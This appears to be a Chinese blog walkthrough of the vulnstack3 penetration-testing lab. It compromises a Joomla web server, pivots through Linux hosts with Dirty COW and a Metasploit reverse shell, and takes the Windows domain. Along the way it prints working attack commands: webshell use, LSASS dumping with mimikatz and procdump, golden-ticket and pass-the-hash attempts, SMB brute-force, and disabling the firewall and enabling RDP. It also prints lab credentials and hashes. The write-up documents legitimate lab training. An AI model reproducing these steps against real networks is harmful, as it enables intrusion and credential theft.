红日靶场 vulnstack3


 

环境搭建

参考:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

几个靶机IP信息

web-centos:两张网卡 外网一定要配置到NAT 之前傻逼了配的桥接导致出不了网
            外网IP 192.168.255.130 内网IP
192.168.93.100 web-ubuntu:内网IP:192.168.93.120
windows7: 内网IP :192.168.93.30 win
-2008192.168.93.20 win-2012DC: 192.168.93.10

 刚开始用的桥接 ,直接访问到的100 下面的就假装centos外网IP是192.168.93.100了

信息收集

先nmap扫一下

  开放有 80、3306、22还有个514被过滤了。

访问80端口是一个web页面

有一个登录页面 尝试了一下sql注入不行,弱密码可以跑一下的 这里我就没去跑了

用dirscann 直接扫描一下目录

 这有一个1.php页面 是phpinfo 的信息

得到一些有用的信息,获取到组件信息 像是低于Joomla3.9版本

去网上找了下找到一个rce 不过需要管理员才能执行

外网打点

想着有没有文件泄露能获取一些有用的信息

之前扫出来的这个页面为Joomla的配置页面

 http://192.168.93.100/configuration.php

不过直接访问是空的 要加个~

这里得到一个账号密码

    public $user = 'testuser';
    public $password = 'cvcvgjASD!@'

然后尝试登录管理后台,这里失败了

http://192.168.93.100/administrator/index.php

又想到又mysql端口开放尝试一下 说不定是mysql的账号

果然

漏洞利用

在Joomla数据库里面寻找user表

最后找到am2zu_users表

密码是加密过的,直接拿去登录是失败的,第一时间想到的是新建一个管理员用户再去登录

184    Super User    admin    test@test.com    $2y$10$N/Yv/9rzxyq.z0gLTT5og.pj3FFAP8Sq2PcBgsMX/Qnc2671qQkHy    0    1    2019-10-06 13:44:16    2019-10-06 14:31:54    0        0000-00-00 00:00:00    0            0

Navicat很方便 我们直接在这点+号去insert就好了

但是是登录失败

我尝试写入自己的邮箱 通过这里邮箱找回密码功能来获得能用的密码,但是好像这个功能不可用

想想这个加密的密码把,这种格式不知道是用什么加密的

md5加密

去Joomla官网找一下帮助 看看有没有密码方面的信息

果然这里有一个关于如何恢复或重置管理员密码的页面

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

这里给出了三个md5加密后的密码,还是带盐的

- admin  = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- OU812  = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

那我们把密码改成admin对应的加密,然后试试

然后还是不行,看了一会发现user表有几个,然后我增加的是umnbt_user,还有一个am2zu_users,

直接把里面的administrator 密码改成admin

ok终于进后台了

找有没有文件上传的地方,找到一个上传更新包的地方,试了下不能成功

再找找 这里有一个修改文件的地方,直接把index文件改成了冰蝎马

找到文件路径

然后连接上来

disable_function() bypass

 进来后执行命令失败,反弹msf失败,上传文件失败,tmd就没权限是吧

把报错信息拿去搜索,发现是这个function设置问题

果然在禁用列表里面

 去找一下functions bypass的方法,这里就直接用中国蚁剑来bypass了

需要去插件市场下载插件,记得把蚁剑代理到VPN挂上,不然访问不了

然后连接处右键选择插件启动

ok传了一个.antproxy.php上去,然后尝试来连接代理的木马文件

G 连不上,检查一下看到确实有这个文件

这里有很多种绕过的姿势 在尝试下其他的

这个 Backtrace UAF成功了,获得了一个shell

内网横向

这里看到ip是 192.168.93.120,是内网的IP了

arp -a 查看缓存的arp表IP与MAC地址的映射关系

这里看到了192.168.93.100 很奇怪

看到了120在和100建立连接

netstat -anplt

那么有没有一种可能,120的100的代理主机,我们打进来的得到的并不是100的shell,而是100的反向代理服务器120.

(正常是对100的另外一个公网IP进行收集打点的,我这里配置是桥接,就暂且当作是100的公网IP进来的)

这里是一台ubuntu机器,果然和前面phpinfo里面看到的一样

 

随便翻翻找找看咯

这里/tmp/mysql下面有一个test.txt

看到了一个用户和密码,不会是100的账户密码吧(/doge)

adduser wwwuser
passwd wwwuser_123Aqx

 拿下web服务器 centos

那么可以试试ssh来连接100,这里因为是在同个局域网 是能访问的,真实环境下连接100的公网IP应该也是可以的

ok 进来过后看看内核和IP

这台就是反向代理的主机本机了,但是我们是一个地权限用户,得提权

我试了一下新的CVE-2022-0847和CVE-2021-4034(这个要用pyhton3运行,这里没有),然后都失败了

还是试试脏牛把

上传本地文件到远程主机

scp -r dirty.c wwwuser@192.168.93.100:/tmp 

脏牛成功编译执行

gcc -pthread dirty.c -o dirty -lcrypt 
https://github.com/FireFart/dirtycow

成功提权

之前因为配置问题 现在重新配置了外网NAT,现在100的外网应该是192.168.255.130

(web服务器一定是双网卡的,一张应该是NAT能和外网通信,一张是主机为内网网卡,踩坑了)

然后配置msf上线,采用上次的用  msfvenom 生成木马运行上线这里报分段错误

 这次试试另外一种方法直接在msf里面上线

use exploit/multi/script/web_delivery 
set lhost 192.168.255.128
set lport 7869
set target 7
set payload linux/x64/meterpreter/reverse_tcp
run

这里的targets是设置当前所选漏洞影响的操作系统

socks代理内网扫描

在使用session 6后 我们在msf上 background回到msf

然后添加一个route路由

route add 192.168.93.0 255.255.255.0 sessionID
route print

使用msf的multi模块来进行sockt代理

use auxiliary/server/socks_proxy 
set version 4a
run

 最后需要给100主机上传一个proxychains包去安装代理

安装可以参考 安装教程

然后再修改配置文件

最后一行加上我们代理的kali和端口

vi /etc/proxychains.conf

然后使用scnner模块去扫描

use auxiliary/scanner/discovery/udp_probe 
set rhosts 192.168.93.1-255
set threads 20
run

因为内存问题我没有开win2008,所以扫描出的是 30 win7,10 win2012

开了2008后扫出了1433 mssql端口

直接用nmap扫一下win7:192.168.93.30

可以看到开放了445 139等端口

开放了445端口可以尝试一下用scanner模块SMB远程登录爆破

use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set PASS_FILE /root/Desktop/SMB.txt  设置字典路径

 set SMBUser administrator 设置爆破用户名
run

这里应该是设置30,输错了

 成功爆破了win7的弱密码

administrator:123qwe!ASD

扫描192.168.93.10

msf代理到本地winodws

这里操作windows可以用proxifier把socket代理到windows上,然后能去访问内网

(因为这里是物理机 有该环境的内网93网卡,所以不走代理也能通的;真实环境是需要走代理的)

拿下域成员windows7 192.168.93.30

用net use远程映射到win7

net use \\ip地址\ipc$ 密码 /user:用户名      建立IPC非空链接 
net use h: \\ip地址\c$ 密码 /user:用户名 直接登陆后映射对方C:到本地为H盘:

 去搞个PsExec工具,连接上后就能用工具提权生成一个cmd回来

 mimikatz

传mimikatz过去

file_dir \\IP\c$\Users\administrator\Desktop

查看

然后使用mimikatz抓密码 看看

mimikatz.exe privilege::debug sekurlsa::logonpasswords

这里发现没有TEST domain的密码 ,只有win7用户的hash

 可以用log生成mimikatz的日志文件

因为配置环境的时候没有登录过这两台windosw,假设用域管账号去登录过后再试试看

 额 还是没有抓到,有点难受

。。。。

这里还用了procdump来dump hash下来配合mimikatz分析也是一样的结果,mimikatz是直接从内存中抓取lsass,容易被杀软拦

这种方式能过一些杀软,因为procdump是微软的工具 用他dump下来lsass再给mimikatz分析

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full

 只能试试其他方法了

PTT 黄金票据传递

生成黄金票子再导入

kerberos::golden /admin:test\administrator /domain:TEST.org /sid: S-1-5-21-1528753600-3951244198-520479113-502 /krbtgt:571bcade06358cf8ea77e8418e857355 /ticket:golden.kiribi

执行命令

.......  失败了,暂时还不是很懂

mimikatz利用NTLM 来hash传递

sekurlsa::pth /domain:TEST  /user:win7\administrator /ntlm:bb6b48766fb280d74babb50e781bbc21

 ....................

这时想到windows2008 开放了1433端口,用msf去试一下爆破

账号这时候想到之前泄露的mysql账号拿去试一下

这里需要一个中继来监听到win2008与win7的连接信息,这里用Responder来监听

https://github.com/lgandx/Responder

但是这个要python3的环境,我给centos用ssh传了安装包去配置后又缺失一些库,然后网络不可达安装了不了,

去官网下载whl文件下来也不能安装,就导致一直运行不了(太坑了,web服务器不能出网下载,给配置运行的python环境缺少库什么的)

msf上能执行,会触发UNC

如果监听上是能获取到2008的hash的

假设抓到了hash

破解出密码是:123qwe!ASD
.......

拿下windows2008 192.168.93.20

net use映射过去

还是用PsExec 获取一个cmd

然后抓密码

成功抓到了域控再在2008上登录的密码

拿下域控

net use连接域控

net use \\192.168.93.10\ipc$ zxcASDqw123!! /user:administrator

打开3389端口

 

开3389

开启3389端口的命令:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

关闭3389端口的命令:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
将开启3389端口命令中的“00000000”改成“11111111”就是关闭。

也可以通过这个cmd命令开启3389端口:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

结果连接不上!!

想着是不是需要关闭防火墙

netsh advfirewall set allprofiles state off

终于连上了

找到flag

总结

总的来说对于萌新的我来说过程艰辛,主要是内网那块对于票据,hash NTML这些不是很熟悉,后面还是需要继续学习mimikatz这些东西。

学习之路,少就是多,慢就是快~~

 参考链接:https://xz.aliyun.com/t/6988#toc-2

      https://www.i4k.xyz/article/weixin_46684578/118685782